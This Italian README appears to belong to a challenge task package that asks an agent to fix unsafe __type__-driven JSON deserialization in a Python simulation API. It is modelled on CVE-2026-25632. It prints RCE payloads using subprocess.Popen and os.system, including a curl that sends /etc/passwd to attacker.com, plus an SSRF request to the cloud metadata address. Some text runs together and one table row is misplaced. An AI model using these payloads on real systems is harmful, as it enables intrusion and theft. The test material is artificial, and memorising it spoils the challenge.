
CVE-2026-25632 — Correzione della deserializzazione JSON non sicura che porta all'esecuzione remota di codice
Ispirato a una vulnerabilità reale del 2026 (CVSS 10.0, sfruttata attivamente)
Basato su: CVE-2026-25632 — Esecuzione di codice remoto tramite deserializzazione JSON non sicura guidata da__type__, scoperta nell'API REST di simulazione della rete idrica EPyT-Flow e divulgata pubblicamente all'inizio del 2026.
NovaSim è un framework di simulazione basato su Python che espone un'API REST per il controllo remoto di esperimenti scientifici. Per supportare una serializzazione flessibile degli oggetti in ambienti client eterogenei, uno sviluppatore ha aggiunto un caricatore JSON personalizzato che rileva un campo speciale __type__ e importa e istanzia dinamicamente la classe Python referenziata utilizzando importlib.
Questo pattern è stato divulgato come vulnerabilità critica di Esecuzione di Codice Remoto (RCE) in un importante progetto open-source nel 2026. I ricercatori di sicurezza hanno identificato che un attaccante che controlla il corpo JSON può costruire una catena di gadget rivolta a qualsiasi oggetto chiamabile nella libreria standard di Python — inclusi subprocess.Popen, os.system, eval e oltre 25 gadget SSRF — ottenendo il pieno compromesso del server con una singola richiesta HTTP, senza alcuna autenticazione richiesta.
Ti viene fornita la versione vulnerabile di src/solution.py, che contiene esattamente il pattern di deserializzazione non sicura.
Il tuo obiettivo: correggere la vulnerabilità in DeserializationService.load_from_json() in modo che:
SecurityError.__type__ non permetta più l'importazione arbitraria di moduli o l'istanziazione di classi.__type__) continuino a caricarsi normalmente.# PERICOLOSO — pattern CVE-2026-25632
import importlib
def _unsafe_load(data: dict):
if "__type__" in data:
module_path, class_name = data["__type__"].rsplit(".", 1)
module = importlib.import_module(module_path) # controllato dall'attaccante!
cls = getattr(module, class_name) # controllato dall'attaccante!
return cls(**data.get("args", {})) # esecuzione di codice arbitrario!
Un attaccante invia una richiesta POST con un corpo JSON manipolato:
Vettore 1 — RCE diretta tramite subprocess:
{
"__type__": "subprocess.Popen",
"args": {"args": ["id"], "shell": true}
}
Vettore 2 — RCE tramite os.system:
{
"__type__": "os.system",
"args": {"command": "curl http://attacker.com/exfil?data=$(cat /etc/passwd)"}
}
Vettore 3 — SSRF tramite urllib.request.urlopen:
{
"__type__": "urllib.request.urlopen",
"args": {"url": "http://169.254.169.254/latest/meta-data/"}
}
I ricercatori di sicurezza hanno documentato 12 gadget RCE diretti e 25 gadget SSRF raggiungibili in questo modo attraverso la sola libreria standard di Python.
I seguenti tipi di oggetti di simulazione — e solo i seguenti — possono essere deserializzati tramite __type__:
Valore __type__ | Classe Python |
|---|---|
simulation.Sensor | novasim.models.Sensor |
simulation.Actuator | novasim.models.Actuator |
Qualsiasi altro valore di __type__ DEVE sollevare immediatamente una SecurityError, prima che avvenga qualsiasi importazione o istanziazione.
Oggetti JSON inviati a DeserializationService.load_from_json(raw: str) -> dict | SimObject
__type__: restituisce dict (JSON analizzato).__type__ in whitelist: restituisce l'istanza dell'oggetto di simulazione corrispondente.__type__ non in whitelist: solleva SecurityError con il messaggio: "Blocked unsafe type: <type_value>".ValueError con il messaggio: "Invalid JSON payload".challenge-cve-2026-25632/
├── README.md <- Ti trovi qui
├── Dockerfile <- Ambiente di build deterministico
├── src/
│ ├── solution.py <- Codice iniziale BUGGATO (il tuo obiettivo)
│ ├── solution_fixed.py <- Soluzione di riferimento (nascosta all'agente)
│ └── novasim/
│ ├── __init__.py
│ └── models.py <- Classi dei modelli di simulazione in whitelist
└── tests/
└── test_solution.py <- Harness di test (FALLISCE sul codice buggato, PASSA su quello corretto)
La correzione deve superare TUTTI i seguenti punti:
simulation.Scenario | novasim.models.Scenario |
| Scenario | Comportamento atteso |
|---|
__type__ assente | Analizza e restituisci come dict semplice |
__type__ = "simulation.Sensor" | Istanzia Sensor(**args) |
__type__ = "subprocess.Popen" | Solleva SecurityError |
__type__ = "os.system" | Solleva SecurityError |
__type__ = "__builtins__.eval" | Solleva SecurityError |
__type__ = "" (stringa vuota) | Solleva SecurityError |
__type__ = una lista o intero | Solleva SecurityError (campo tipo non valido) |
| Stringa JSON malformata | Solleva ValueError |
| Campi extra sconosciuti in oggetto valido | Accettati, passati come kwargs al costruttore |